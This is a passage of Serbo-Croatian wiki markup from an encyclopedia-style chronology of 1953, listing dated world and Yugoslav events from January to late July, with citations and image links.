antiameričke aktivnosti]] zaseban). * [[4. 1.]] - [[Prvi indokineski rat]] - Operacija Bretagne: Francuzi rasturili [[Viet Minh]]ove snage na severoistoku Vijetnama. * [[5. 1.]] - Premijera ''[[En attendant Godot]]'' ("Čekajući Godoa") u Parizu. * [[6. 1.|6]] - [[15. 1.]] - Osnivački skup [[Azijska socijalistička konferencija|Azijske socijalističke konferencije]] u Rangunu, Burma - prisutna je i delegacija [[SKJ]] na čelu sa [[Milovan Đilas|Đilasom]], što se smatra početkom interesa FNRJ za [[Treći svet]]<ref>[http://hdl.handle.net/10891/osa:f57818ab-1fdc-489e-93fe-9ba618aa5e57 "Tito and "Non-Alignment""], 6 December 1967. HU OSA 300-8-3-17008</ref>. * [[7. 1.]] - Predsednik [[SAD]] [[Hari Truman]] je objavio da je u [[SAD]] izrađena [[hidrogenska bomba]]. * 7. 1. - SAD daju Jugoslaviji 20 miliona dolara za kupovinu žita (New York Times; 1 dolar iz ove godine vredi kao 9,6 u 2020). * [[8. 1.]] - Tito razgovara sa sedam biskupa o odnosima crkve i države (prošlog meseca su prekinuti diplomatski odnosi sa Vatikanom), Stepinac kasnije kaže da crkva neće podleći diktatu vlade. (NYT) [[Datoteka:Coat of arms of Alojzije Stepinac.svg|mini|100px|left]] * [[12. 1.]] - Drugi [[Kardinalska imenovanja pape Pija XII.|konzistorij Pija XII.]], među 24 imenovana kardinala su i [[Alojzije Stepinac]] iz Jugoslavije i [[Stefan Wyszyński]] iz Poljske (nisu putovali u Rim). * [[13. 1.]] - [[Datoteka:Emblem of Yugoslavia (1943–1963).svg|30px|Grb FNRJ]] U [[FNRJ]] donesen novi [[Ustavni zakon 1953.|Ustavni zakon]] u cilju ojačanja samoupravljanja; Predsednik Republike umesto predsednika Prezidijuma Narodne skupštine FNRJ, [[Savezno izvršno veće]] umesto Vlade FNRJ, uvedeno Veće proizvođača u legislature (umesto veća naroda). Nakon ovoga su doneti i ustavni zakoni narodnih republika. * 13. 1. - ''[[L'Osservatore Romano]]'' objavljuje dokumenta kojima se jugoslovenska vlada optužuje da želi iskoreniti religiju. (NYT) * 13. 1. - U SSSR objavljeno otkriće "[[Doktorska zavera|Doktorske zavere]]" ("doktori-štetočine" ili "-ubice") - ugledni moskovski doktori, uglavnom Jevreji, optuženi da su planirali ubistvo sovjetskih lidera, hapšeni su od septembra. Sledi antisemitska kampanja. (→ [[Borba sa kosmopolitizmom]]) [[Datoteka:Marshal Tito, the President of the Federal People’s Republic of Yugoslavia.jpg|mini|180px|Predsjednik Republike]] * [[14. 1.]] - [[Josip Broz Tito]] izabran za prvog Predsednika Republike i Predsednika Saveznog izvršnog veća (potpredsednici SIV-a [[Kardelj, Edvard|Kardelj]], [[Milovan Đilas|Đilas]], [[Moša Pijade|Pijade]], [[Aleksandar Ranković|Ranković]]). ** Članovi SIV<ref>[http://foto.mij.rs/site/gallery/5922/photo/22 Članovi Saveznog izvršnog veća] {{Webarchive|url=https://web.archive.org/web/20140104182116/http://foto.mij.rs/site/gallery/5922/photo/22 |date=2014-01-04 }}. foto.mij.rs</ref>: [[Ivan Krajačić]], [[Franjo Gaži]], [[Jovan Veselinov]], [[Božidar Maslarić]], [[Aleksandar Ranković]], [[Edvard Kardelj]], [[Moša Pijade]], [[Spasenija Babović]], [[Franc Leskošek]], [[Sava Kosanović]], [[Cvetko Uzunovski]], [[Slobodan Penezić]], [[Moma Marković]], [[Blažo Jovanović]], [[Uglješa Danilović]], [[Veljko Zeković]], [[Đuro Pucar]], [[Svetozar Vukmanović]], [[Strahil Gigov]], [[Ivan Gošnjak]], [[Ivan Maček]], [[Vicko Krstulović]], [[Miha Marinko]], [[Ljupčo Arsov]], [[Jakov Blažević]], [[Mijalko Todorović]], [[Vidoje Smilevski]], [[Koča Popović]], [[Dobrivoje Radosavljević]], [[Boris Krajger]], [[Osman Karabegović]]. * [[15. 1.]] - Položili zakletvu novi državni sekretari (ministri) FNRJ<ref>[http://foto.mij.rs/site/gallery/726/allphotos Zakletva novih državnih sekretara] {{Webarchive|url=https://web.archive.org/web/20210420021034/http://foto.mij.rs/site/gallery/726/allphotos |date=2021-04-20 }}. foto.mij.rs</ref>: [[Veljko Zeković]], [[Koča Popović]], [[Ivan Gošnjak]], [[Dušan Čalić]], [[Radisav Nedeljković]], [[Svetislav Stefanović]]. * 15. 1. - Ministar ino. poslova Istočne Nemačke [[Georg Dertinger]] uhapšen pod optužbom za špijunažu (na robiji do 1964). * januar - Rasformiran [[Korpus narodne odbrane Jugoslavije]], nadležnosti preuzimaju granične jedinice Jugoslovenske narodne armije i Narodna milicija. * januar - Iranski premijer [[Muhamed Mosadek]] dobio od parlamenta produženje vanrednih ovlasti za još 12 meseci - sprovodi zemljišnu reformu u korist seljaka. * [[16. 1.]] - Eksplozija u "vojnom preduzeću" kod Sarajeva, 26 poginulih radnika i radnica, 65 ranjeno.<ref>Borba, 1953-01-19, str. 1</ref> * 16. 1. - Egipatski Savet revolucionarne komande zabranio stare političke partije, organizovana samo jedna, Okupljanje oslobođenja. * [[17. 1.]] - CIA-in [[Robertsonov panel]] doneo poverljive zaključke: NLO-i nisu direktna opasnost za nacionalnu sigurnost, uglavnom su objašnjive pojave. * [[19. 1.]] - Epizoda ''[[I Love Lucy]]'' sa porođajem ima gledanost 73,9%, više nego sutrašnja inauguracija. [[Datoteka:Dwight David Eisenhower, photo portrait by Bachrach, 1952.jpg|mini|150px|left|[[Dwight D. Eisenhower]]]] * [[20. 1.]] - [[Dwight D. Eisenhower]] postaje 34. predsednik [[SAD]], nakon Harija Trumana (do [[1961]]). * [[21. 1.]] - Prikazan film ''[[Niagara (film)|Niagara]]'' sa [[Marilyn Monroe]] - ustanovljen je njen izgled. * 21. 1. - [[Peko Dapčević]] je načelnik Generalštaba JNA (do 1955). * [[22. 1.]] - Premijera [[Arthur Miller|Millerove]] drame ''[[The Crucible]]'', alegorije za [[makartizam]]. * [[23. 1.]] - Kit od 12 metara se nasukao u [[Pag|Paškoj]] uvali - biće izložen u više gradova Jugoslavije. * [[26. 1.]] - [[John Foster Dulles]] je državni sekretar SAD (do 1959). [[Datoteka:Watersnood 1953. In Nieuwerkerk op Duiveland staat het water nog tot aan de dake, Bestanddeelnr 059-1160.jpg|mini|200px|Velika poplava na Severnom moru]] * [[31. 1.]] - [[1. 2.]] - Poplava na Severnom moru - oluja izaziva poplavu sa preko 2.500 smrtnih slučajeva u V. Britaniji, Nizozemskoj i na moru, uključujući feribot ''Princess Victoria''. === Februar/Veljača === * [[1. 2.]] - Otvorena Galerija fresaka u Beogradu. * [[3. 2.]] - Masakr u Batepi na [[São Tomé (otok)|São Toméu]]: portugalske vlasti i zemljoposednici ubili stotine kreola - početak rasta nacionalizma, Dan mučenika slobode u [[Sao Tome i Principe]]u. * [[5. 2.]] - Premijera Diznijevog crtanog filma "[[Peter Pan (animirani film)|Petar Pan]]". * 5. 2. - Racionisanje hrane u UK: ukinute tačkice za slatkiše, u septembru i za šećer - ostaju još za meso do sledeće godine. * [[9. 2.]] - Naređeno da trojica bugarskih diplomata napuste Jugoslaviju. * [[10. 2.]] - [[Datoteka:Flag of the European Coal and Steel Community.svg|30px]] [[Europska zajednica za ugalj /ugljen i čelik]]: otvoreno je zajedničko tržište za ugljen, a 1. svibnja i za željezo. * 10. 2. - Egipatski Savet revolucionarne komande proglasio novi ustav. * [[11. 2.]] - Dva dana posle eksplozije ispred sovjetske ambasade u Tel Avivu, SSSR prekida diplomatske odnose sa Izraelom (obnovljeni u julu). * [[12. 2.]] - Prva sednica [[Nordijski savet|Nordijskog saveta]]. * 12. 2. - [[Svetska banka]] daje 30 miliona dolara FNRJ na 25 godina za 27 industrijskih projekata. (NYT) * [[18. 2.]] - [[4. 3.]] - Izložba grupe [[EXAT 51]] u Zagrebu. * [[22.2.|22]] - [[25. 2.]] - [[Datoteka:SSRNJ Badge.png|30px]] [[Narodni front Jugoslavije]] na svom Četvrtom kongresu menja ime u [[Socijalistički savez radnog naroda Jugoslavije]] (predsednik je Tito, generalni sekretar [[Edvard Kardelj]]). * [[25. 2.]] - Prikazan [[Jacques Tati|Tatijev]] film ''[[Les Vacances de Monsieur Hulot]]'' - lik M. Hulota će se pojaviti u još tri filma. * [[26. 2.]] - [[Allen Dulles]] je direktor CIA (do 1961). * [[27. 2.]] - Premijera izmenjene verzije [[Miroslav Krleža|Krležinog]] "[[Vučjak (drama)|Vučjaka]]" u [[Beogradsko dramsko pozorište|Beogradskom dramskom pozorištu]]. * 27. 2. - Potpisan Londonski sporazum o nemačkim dugovima: oproštena polovina, otplata razvučena na 30 godina sa trgovačkim suficitom - podsticaj nemačkom rastu. * 27. 2. - Petoro ljudi poginulo zbog "odbeglog" teretnog voza u zapadnoj Bosni. (NYT) * [[28. 2.]] - [[Balkanski pakt (1953)|Balkanski pakt]]: u Ankari potpisan petogodišnji Ugovor o prijateljstvu i saradnji [[Jugoslavija|Jugoslavije]], [[Turska|Turske]] i [[Kraljevina Grčka|Grčke]]. * 28. 2. - [[James D. Watson]] i [[Francis Crick]] predložili [[Dvostruki heliks nukleinskih kiselina|dvostruku spiralu]] kao strukturu molekula [[DNK]]. === Mart/Ožujak === [[Datoteka:DeathOfStalin.jpg|thumb|300px|† [[Staljin]]]] * [[1. 3.]] - Nakon sedeljke do rano ujutro, Staljin je sledeće večeri pronađen bez svesti. * 1. 3. - Počinje emitirati Radio Sloboda, verzija [[Radio Slobodna Evropa|Slobodne Evrope]] za SSSR. * [[3. 3.]] - Kanadski [[de Havilland Comet]] pao prilikom poletanja iz Karačija - poginulo 11 ljudi, što su prve žrtve u mlaznom putničkom avionu. * [[5. 3.]] - [[Staljin]] je umro uveče, što je objavljeno sledećeg jutra. [[Georgij Maljenkov]] ga nasleđuje na čelu ministarskog saveta (do 1955). [[Lavrentij Berija]] je zamenik premijera i ministar unutrašnjih poslova (resor je spojen sa državnom bezbednošću), sprovodi mere liberalizacije. {{multiple image | width = 100 | image1 = Georgy Malenkov 1953 (cropped).jpg | caption1 = Maljenkov | image2 = Nikita Khruchchev Colour.jpg | caption2 = Hruščov | image3 = Lavrenty Beria.jpg | caption3 = Berija }} * 6. 3. - Peti kongres [[Savez socijalističke omladine Jugoslavije|Saveza socijalističke omladine Jugoslavije]]. * [[8. 3.]] - Na Planici prvi put predstavljeno piće ''[[Cockta]]''. * [[9. 3.]] - Staljin je sahranjen u Lenjinovom mauzoleju (do 1961). U stisci je stradalo preko stotinu ljudi. * [[10. 3.]] - U Jugoslaviju stižu prvi [[mlazni avion]]i: američki [[Lockheed T-33 Shooting Star|T-33 Shooting Star]]<ref>[http://www.muzejvazduhoplovstva.org.rs/eksponati.php?jez=sr&id=21 Muzej vazduhoplovstva], IT-33</ref>; u junu stižu i [[Republic F-84 Thunderjet|F-84 Thunderjet]]-i. * 10. 3. - Vazdušni sukob iznad Merklína: češki MiG-15 obara američkog F-84 blizu nemačke granice. * [[12. 3.]] - Tri britanska aviona pala tokom leta iznad Titovog broda, na putu u Englesku (još "dvojica pilota poginula" na aeromitingu 18-og). (NYT) * [[14. 3.]] - Maljenkov se povlači iz sekretarijata CK KPSS, a na prvo mesto spiska dolazi [[Nikita Hruščov]] - na čelu partije do 1964. * 14. 3. - Umro predsednik Čehoslovačke i lider [[KPČ]] [[Klement Gottwald]], na čelu partije ga nasleđuje [[Antonín Novotný]] (do 1968) a novi predsednik je [[Antonín Zápotocký]] (do 1957).[[Datoteka:Cockta in bottle and glass with cap.jpg|mini|120px|''[[Cockta]]'']] * [[15. 3.]] - Maršal [[Kliment Vorošilov]] je predsednik Prezidijuma VS SSSR (do 1960). * mart - Osnovan [[Institut za makedonski jezik "Krste Misirkov"]], za standardizovanje i izučavanje [[Makedonski jezik|tog jezika]]. * mart - [[Burma]] uložila žalbu UN zbog prisustva [[Kuomintang u Burmi|Kuomintanga u toj zemlji]] - UN osuđuje Republiku Kinu (Tajvan). * mart - Eisenhower nalaže CIA-i da sastavi planove za zbacivanje iranskog premijera Mossadegha. * mart - [[Anglo-egipatski Sudan]] dobija samoupravu (nezavisnost 1956). * [[16. 3.|16]] - [[21. 3.]] - Maršal [[Tito]] u poseti Velikoj Britaniji, nedelju dana ranije nego što je bilo planirano (prva poseta nekog komunističkog šefa države). Među temama je Staljinov odlazak i pitanje [[Trst]]a. Vatikan i katolici su osuđivali posetu. * [[17. 3.]] - Prvi nuklearni test iz Operacije ''Upshot-Knothole'' u [[Nevada|Nevadi]]. [[Datoteka:BAM-15-Lockheed T-33A.jpg|mini|150px|[[Lockheed T-33 Shooting Star|T-33 Shooting Star]] u [[Muzej vazduhoplovstva — Beograd|beogradskom muzeju]]]] * [[18. 3.]] - Jak zemljotres na zapadu Turske, preko 1.000 mrtvih. * [[19. 3.]] - [[25. dodjela Oscara]], prva prenošena preko televizije; nagradu za najbolji film dobio ''[[The Greatest Show on Earth]]'' umesto očekivanog ''[[High Noon]]'' (četiri nagrade), ''[[The Bad and the Beautiful]]'' pet nagrada, ''[[Singin' in the Rain]]'' samo dve nominacije. * 19. 3. - Novo sovjetsko rukovodstvo poziva na brzi kraj neprijateljstava u Koreji. * [[22. 3.]] - Izbori u Austriji: napredak [[Socijaldemokratska partija Austrije|socijaldemokrata]], nastavlja se velika koalicija sa [[Austrijska narodna stranka|narodnjacima]], samo što je novi kancelar od aprila [[Julius Raab]] (do 1961). * 22. 3. - Brašno poskupelo 42% u FNRJ zbog prošlogodišnje suše, belo brašno se slobodno formira. (NYT) * [[25. 3.]] - Prekinuta gradnja nekih velikih projekata u SSSR: [[Transpolarna magistrala]], tj. železnička pruga Salehard - Igarka na severozapadu Sibira; Glavni turkmenski kanal od Amu Darje do Krasnovodska na Kaspiju i Sahalinski tunel. * 25/[[26. 3.]] - [[Mau Mau ustanak]] u Britanskoj Keniji, Masakr u Lariju: pobunjenici brutalno ubili 97 lojalista i članova njihovih porodica. * [[27. 3.]] - Ukaz o amnestiji u SSSR: oslobađa se 1,2 - 1,35 miliona zatvorenika, uglavnom nepolitičkih, dolazi do skoka kriminala. * 27. 3. - Na snazi je Luksemburški sporazum o reparacijama između Izraela i SR Nemačke: tri milijarde maraka u sledećih 14 godina. * [[29. 3.]] - Sedmorica jugoslovenskih olimpijskih veslača stigla u Kanadu, "napadaju Tita". (NYT). * [[30. 3.]] - Uredba o imovinskim odnosima i reorganizaciji seljačkih radnih zadruga - kraj [[Kolektivizacija|kolektivizacije]] u SFRJ. Odredbe daju prednost reorganizaciji umesto likvidaciji i odlasku seljaka iz zadruge.<ref name="YugoAgriI">[http://hdl.handle.net/10891/osa:2b6a9457-b71b-4953-8663-dd97e5637c8e "Yugoslavia's Agriculture (I)"], 3 August 1957. HU OSA 300-8-3-9020</ref> === April/Travanj === * april - [[Popis stanovništva 1953. u FNRJ|Popis stanovništva u FNRJ]] - blizu 17 miliona stanovnika. * 5. 4. - [[Svetozar Gligorić]] pobedio na šahovskom turniru u [[Mar del Plata|Mar del Plati]], Argentina. Finalni meč je postao prototip Mar del Platine varijacije [[Kraljeva indijska odbrana|Kraljeve indijske odbrane]]. [[Petar Trifunović|Trifunović]] je četvrti. * [[6. 4.]] - U "Pravdi" objavljen dekret kojim su oslobođeni učesnici "Doktorske zavere". * 6. 4. - Vanredni američki grant od 11 miliona zbog suše za FNRJ - ukupno 106,75 miliona pomoći, skoro polovina za hranu. (NYT) * [[8. 4.]] - Kapengurijska šestorica: [[Jomo Kenyatta]] je među osuđenima zbog navodne veze sa ustankom Mau Mau (u zatvoru do 1961, premijer pa predsednik Kenije 1963-78). * 9. 4. - WHO i UNICEF izveštavaju da je iskorenjen endemski [[sifilis]] u BiH. (NYT) [[Datoteka:Dag Hammerskjold, Bestanddeelnr 912-9460.jpg|mini|100px|left|[[Dag Hammarskjöld|Hammarskjöld]]]] * [[10. 4.]] - [[Dag Hammarskjöld]] postao drugi Generalni sekretar [[UN]] (do 1961). * 10. 4. - Prikazan ''[[House of Wax (film, 1953)|House of Wax]]'', prvi [[3D film]] većeg studija. * 10. 4. - Prva utakmica [[Melbourne|melbournskog]] nogometnog kluba ''Croatia SC'' (od 1993 [[Melbourne Knights FC]]). [[Datoteka:Spomenik Borisu Kidriču u Beogradu 3.jpg|mini|150px|† [[Boris Kidrič]] (spomenik: [[Nikola Janković]], 1963)]] * [[11. 4.]] - Umro [[Boris Kidrič]], član Saveznog izvršnog veća i predsednik Saveta za privredu FNRJ. * [[13. 4.]] - U Londonu izdan ''[[Casino Royale (roman)|Casino Royale]]'' [[Ian Fleming|Iana Fleminga]], prvi roman o [[James Bond|Jamesu Bondu]]. * [[15. 4.]] - Venecuela dobila novi ustav:<ref>[https://uca.edu/politicalscience/dadm-project/western-hemisphere-region/venezuela-1913-present/ Venezuela (1913-present)]. uca.edu</ref> više nisu [[Sjedinjene Države Venezuele]] već [[Četvrta Venezuelanska Republika|Republika Venezuela]] (od 1999. Bolivarska Republika Venezuela). Gen. [[Marcos Pérez Jiménez]] je regularizovan kao predsednik, ima diktatorska ovlašćenja. * april - Vijatnamski [[Viet Minh]] i domaći [[Pathet Lao]] zauzimaju severoistok [[Francuski protektorat u Laosu|Francuskog protektorata u Laosu]] (→ [[Laoški građanski rat]]). * april - Suša i insekti upropastili žetvu u centralnoj [[Tanganjika|Tanganjici]], glad do sledeće godine. * [[16. 4.]] - Eisenhowerov govor "Šansa za mir": troškovi trke u naoružanju su kao krađa od naroda. * [[19. 4.]] - Istraživački centar u [[Vinča|Vinči]] postao [[Institut za nuklearne nauke Vinča|Institut za nuklearne nauke]] (ovaj dan će postati Dan Instituta). * 19. 4. - Zapadnonemačka firma dobila ugovor za gradnju rafinerije u Sisku, jedna se već gradi u Bosni. (NYT) * [[23. 4.]] - Prikazan ''[[Shane (film)|Shane]]''. * 23. 4. - NYT javlja da vlada FNRJ kupuje američko seme hibridnog kukuruza. * [[27. 4.]] - Tito u Belom dvoru prima poslanika Kostarike Teodora Kastra<ref>[http://foto.mij.rs/site/gallery/808/photo/45 Prijem Teodora Kastra, poslanika Kostarike]{{Dead link|date=March 2026 |bot=InternetArchiveBot |fix-attempted=yes }}. foto.mij.rs</ref> - u stvari se radi o sovjetskom operativcu [[Iosif Griguljevič|Iosifu Griguljeviču]]. * [[30. 4.]] - U Beogradu otvoren za javnost [[Železnički muzej Srbije|Železnički muzej]], prvi takav u Jugoslaviji (osnovan 1.2.'50.). * 30. 4. - Vlada FNRJ spremna da pregovara sa Vatikanom, uz uslov nemešanja u unutrašnje poslove. (NYT) === Maj/Svibanj === [[Datoteka:Everest, Himalayas.jpg |thumb|Osvojen [[Mont Everest]]]] * 1. 5. - Trojica jugo. letača koja su završila obuku u SAD zatražila azil. (NYT) * [[2. 5.]] - Punoletstvo iračkog kralja [[Faisal II od Iraka|Faisala II]] (zbačen i ubijen 1958). * 2. 5. - Krunisan jordanski kralj [[Hussein I od Jordana|Hussein I]] (umro 1999). * 2. 5. - De Havilland Comet pao kod Kalkute nakon što su mu otpala krila u oluji, sa 43 žrtve. Uz dva raspada sledeće godine, to će prizemljiti ovaj model aviona. * [[3. 5.]] - ''[[Deutsche Welle]]'' počinje emitirati. * 4. 5. - Radio Beograd izveštava o sukobu na bugarskoj granici, sutradan protest zbog "vređanja" osoblja ambasade u Sofiji. Razmena vatre i na mađarskoj granici oko 7-og. (NYT) * [[6. 5.]] - [[John Heysham Gibbon]] izveo prvu operaciju na otvorenom srcu, uz pomoć mašine za [[vantelesni krvotok]]. * [[10. 5.]] - [[Bugarska pravoslavna crkva]] opet ima patrijarha: izabran je raniji namesnik Sinoda [[Patrijarh bugarski Kiril|Kiril]] (do 1971). * [[11. 5.]] - Najkasniji poznati sneg u Beogradu. * [[14. 5.]] - Vladajuća partija u [[Istočna Njemačka|Istočnoj Nemačkoj]] podigla radničke norme za 10% - raste nezadovoljstvo. * 14. 5. - Jugoslavija i Rumunija postigle sporazum o zajedničkoj administraciji [[đerdap]]skog sektora (potpisivanje 31. 5.). (NYT) [[Datoteka:Nuclear artillery test Grable Event - Part of Operation Upshot-Knothole.jpg|mini|Nuklearni top]] * maj - Američki bombarderi su uništili pet brana u Severnoj Koreji: poplave su razorne, moguća je glad. * [[16. 5.]] - Objavljeno da će Vojska SAD kupiti od FNRJ municije za pet miliona dolara. (NYT) * 18/19. 5. - Zalutali sovjetski MiG-15 pao u FNRJ, 20-tak km od Zagreba - pilot repatriran, zapadu nije dozvoljeno da pogleda avion. * [[22. 5.]] - Potpisan sporazum o uzajamnoj odbrani između SAD i [[Etiopsko Carstvo|Etiopije]]; na severu zemlje je od ranije stanica Kagnew, američka instalacija za radio prisluškivanje. U avgustu je potpisan i sporazum o ekonomskoj pomoći. * ca. 22. 5. - Skupština FNRJ usvojila zakon o verskoj slobodi - katolička crkva se i dalje protivi saradnji. * [[23. 5.]] - [[Međunarodna organizacija rada|ILO]]-ova Konvencija o jednakosti nagrađivanja stupa na snagu (jednakost plate muškaraca i žena). [[Datoteka:Gavella theatre, zagreb.JPG|mini|200px|left|[[Dramsko kazalište Gavella|Gavella]]]] * [[25. 5.]] - ''Upshot-Knothole Grable'': prvi i poslednji američki test sa nuklearnom artiljerijom. * 25. 5. - Formirala se tropska oluja ''Alice'': početak organizovane prakse davanja ženskih imena atlantskim olujama i uraganima (od 1979. i muška imena). * [[27. 5.]] - Zemljišni maksimum u FNRJ smanjen sa 30 na 10 ha - 270.000 ha preneto društvenom sektoru. Porodične zadruge i vlasnici loše zemlje mogu imati 15 ha; bezemljaši mogu dobiti zemlju samo ako uđu u neku vrstu kooperacije.<ref name="YugoAgriI" /> * 27. 5. - FNRJ dobila američke tenkove [[M-47 Patton]]. (NYT) * 28 - 29. 5. - [[Korejski rat]] - Bitka na Petlji: Britanci odolevaju mnogobrojnijim Kinezima. * [[29. 5.]] - [[Edmund Hillary]], novozelandski planinar i istraživač i šerpanski vodič [[Tenzing Norgaj]] prvi ljudi na [[Mont Everest]]u, vrhu sveta. * 29. 5. - U Zagrebu osnovano [[Dramsko kazalište Gavella]]. * [[30. 5.]] - [[Cheddi Jagan]] postaje prvi Glavni ministar u Britanskoj [[Gvajana|Gujani]] - kolonijalne vlasti ga smenjuju već u oktobru, iz straha da je komunista. === Jun/Juni/Lipanj === * [[1. 6.]] - "Ustanak" u Plzeňu - "Škodini" radnici se pobunili zbog valutne reforme u Čehoslovačkoj (štrajkovi širom zemlje). * 1. 6.? - U [[JNA]] ukinuta funkcija političkih komesara, zamenjuju ih pomoćnici komandanta za moralno-političko vaspitanje (sistem jednostarešinstva). Ove godine je uveden sistem ispita za oficire i general-majore; zakonom su utvrđeni i novi rokovi službe za voj­nike<ref>Bajec, Dolničar, 1981, str. 152</ref>. * [[2. 6.]] - Svečano okrunjena [[Elizabeta II od Ujedinjenog Kraljevstva]], pri čemu je [[BBC]] obavio prvi televizijski prijenos događaja jednog takvog kalibra. * [[5. 6.]] - Ustavna reforma u [[Danska|Danskoj]] - jednodomni umesto dvodomnog parlamenta. * [[7. 6.]] - Izbori u Italiji: Demokršćanska koalicija je opala ali ima relativnu većinu (trebalo im je nekoliko tisuća glasova da ostvare superbonus i 2/3 mandata), komunisti i socijalisti su porasli. * 8. 6. - Vukmanović-Tempo najavljuje više investicija u potrošna dobra u odnosu na tešku industriju. Menja se poreski sistem. (NYT) * 8-[[9. 6.]] - Olujni sistem izaziva tornado u [[Flint, Michigan]] sa 115 žrtava i sutradan u [[Worcester, Massachusetts]] sa 94. [[Datoteka:BAM-16-Republik RF-84G Thunderjet.jpg|mini|150px|[[Republic F-84 Thunderjet|F-84 Thunderjet]] u beogradskom muzeju]] * [[10. 6.]] - [[Bitka kod Kumsonga]] je poslednja kineska ofanziva Korejskog rata, nakon što je južni predsednik [[Syngman Rhee]] oslobodio 27.000 severnih zarobljenika, koji nisu hteli repatrijaciju - dobijeni teren napušten po uslovima primirja. Ovo je mesec s najviše ispaljenih granata u ratu. * [[11. 6.]] - U Istočnoj Nemačkoj objavljen program "Novi kurs": kritika ranije politike, ali nove norme ostaju - konfuzija u partijskim redovima, nezadovoljstvo u narodu ostaje. * [[12. 6.]] - Trgovački sporazum između FNRJ i Indonezije vredan 15 miliona dolara. (NYT) * [[13. 6.]] - Gen. [[Gustavo Rojas Pinilla]] preuzima vlast u Kolumbiji u sporazumu s partijama, kako bi povratio mir u zemlji (→ [[La Violencia]]) - zbačen kao diktator 1957. * 15. 6. - Tito dobija američki grant od 15 miliona. (NYT) [[Datoteka:Gazimestan, May 2000.jpg|mini|200px|Spomenik na [[Gazimestan]]u]] * 16 - [[17. 6.]] - [[Pobuna u Istočnoj Nemačkoj 1953.|Pobuna u Istočnoj Nemačkoj]], koju guše sovjetski tenkovi i narodna policija (''Volkspolizei''). U Zapadnoj Nemačkoj do reujedinjenja 17. jun će biti Dan nemačkog jedinstva. * 16. 6. - Odnosi SSSR i Jugoslavije vraćeni na ambasadorski nivo. Dozvoljen prolazak sovjetske flotile iz Beča. * [[16.6.|16]]-[[17. 6.]] - Drugi plenum CK [[SKJ]] na Brionima - "kontra" [[Šesti kongres SKJ|Šestom kongresu SKJ]], otpor reformama (tj. pokrenutim procesima demokratizacije i "odumiranja" partije). Pismom skrenuta pažnja par­tijskom članstvu na potre­bu veće aktivnosti i odlučnijeg suzbijanja svih vidova antipartijskog ponašanja (a u vezi sa "malograđanskom stihijom koja je počela da istupa sa tradi­cionalnim parolama građanske demokratije")<ref>Bajec, Dolničar, 1981, str. 163</ref>. * 17 - 18. 6. - [[Mau Mau ustanak]], Masakr u Chuki: Britanci ubili 20 nenaoružanih ljudi. * [[18. 6.]] - [[Datoteka:Flag of Egypt (1952-1958).svg|25px]] Proglašena Republika [[Egipat]], posledica [[Egipatska revolucija 1952.|revolucije 1952.]]. Premijer gen. [[Muhammad Naguib]] postaje i prvi predsednik republike (do 1954), [[Gamal Abdel Nasser|Nasser]] je zamenik premijera i ministar unutrašnjih poslova. * 18. 6. - Katastrofa u Tachikawi: Globemaster II američkog zrakoplovstva pao u Japanu, stradalo 129 ljudi. * 18. 6. - Eksplozija fabrike municije "blizu Beograda", 10 mrtvih. (NYT) * [[19. 6.]] - Pogubljeni [[Julius i Ethel Rosenberg]], osuđeni za špijunažu u korist SSSR. * 19 - 24. 6. - Crnci uspešno bojkotovali autobuse u [[Baton Rouge, Louisiana]] - inspiracija za poznatiji i duži bojkot u Montgomeryju 1955. * [[23. 6.]] - U Njujorku potpisan Protokol za ograničenje i regulisanje uzgajanja biljke mak, proizvodnju, međunarodnu i veleprodaju i upotrebu opijuma. Potpisala i FNRJ, na snazi od 1963. * 25 - 29. 6. - Sever japanskog ostrva [[Kyushu]] je pogođen poplavom u kojoj strada 1.000 ljudi. * [[26. 6.]] - Uhapšen [[Lavrentij Berija]] (vest o smeni objavljena 10. 7.). * [[27. 6.]] - Srpski premijer [[Petar Stambolić|Stambolić]] upozorava na "pojačanu antikomunističku aktivnost". (NYT) U ovo vreme se govori o "konfuziji" u partijskim redovima, jer je rečeno da bi SKJ trebao više edukovati a manje upravljati. * [[30. 6.]] - U [[Flint, Michigan|Flintu, Michigan]] sklopljena prva ''[[Chevrolet Corvette]]''. * sredinom godine - Samoupravljanje uvedeno i u zdravstvene službe FNRJ<ref>Bajec, Dolničar, 1981, str. 174</ref>. === Jul/Juli/Srpanj === * jun/jul - Kampanja protiv "šunda" u stripovima i ljubavnim romanima u FNRJ. (NYT 6. 7.) * [[1. 7.]] - Prikazan film ''[[Gentlemen Prefer Blondes (film)|Gentlemen Prefer Blondes]]'', zapamćen po Marilynom ''[[Diamonds Are a Girl's Best Friend]]''. * [[4. 7.]] - [[Imre Nagy]] je premijer [[Mađarska Narodna Republika|Mađarske NR]] umesto [[Mátyás Rákosi|Rákosija]], koji ostaje na čelu partije: pokušava da liberalizuje režim - ograničena amnestija, ukidanje logora za internaciju, bolji odnosi sa crkvom, poboljšanje životnog standarda (smenjen 1955). * 4. 7. - Štrajkovi i neredi u rudarskim regionima [[Poljska Narodna Republika|Poljske]]. * [[6. 7.]] - Na festivalu u [[Llangollen]]u u Velsu pobedili frulaš [[Sava Jeremić]] i harmonikaši [[Radojka Živković|Radojka]] i [[Tine Živković]]. * [[10. 7.]] - Na izborima s jednim kandidatom, vojni vladar [[Adib Šišakli]] je izabran za predsednika Sirije (zbačen već u februaru). * ca. 10. 7. - Stepincu je dijagnosticirana bolest, odbija tražiti dozvolu od vlasti za odlazak iz Krašića radi liječenja (dvojica liječnika iz SAD ga pregledaju kasnije tijekom mjeseca). (NYT) [[Datoteka:Poseta Eleonore Ruzvelt.jpg|mini|200px|[[Eleanor Roosevelt]] u Jugoslaviji]] * jul - [[Eleanor Roosevelt]] posetila Jugoslaviju. * [[16. 7.|16]] - [[18. 7.]] - Kampanja na ostrvu Dongshan: kineski nacionalisti pokušali zauzeti ostrvo, preko 3.900 mrtvih s obe strane. * 18. 7. - Sovjeti objavili note razmenjene sa Turskom: odriču se teritorijalnih zahteva ([[Kars]] i [[Ardahan]]). * 18. 7. - Diskretno prekinuti radovi na rumunskom [[Kanal Dunav – Crno more|Kanalu Dunav – Crno more]], prozvanom "Kanal smrti" (nastavljeni i završeni 1973-84). * [[20. 7.]] - Poplava na poluostrvu Kii, japanskog ostrva [[Honshu]], 1.100 mrtvih. * [[23. 7.]] - U Makarskoj napadnut pomoćni splitsko-makarski biskup [[Frane Franić]] (zabranio je staleška udruženja katoličkih svećenika).<ref>[https://www.smn.hr/ostali-blagdani/sprovod-nadbiskupa-franica/582 Sprovod nadbiskupa Franića]. smn.hr 18. 03. 2007.</ref> Biće napadani i šibenički Banić i hvarski Pušić. (NYT) * [[24. 7.]] - [[Narodna Republika Albanija|Albanski]] šef države [[Omer Nishani]] podnosi ostavku, navodno iz 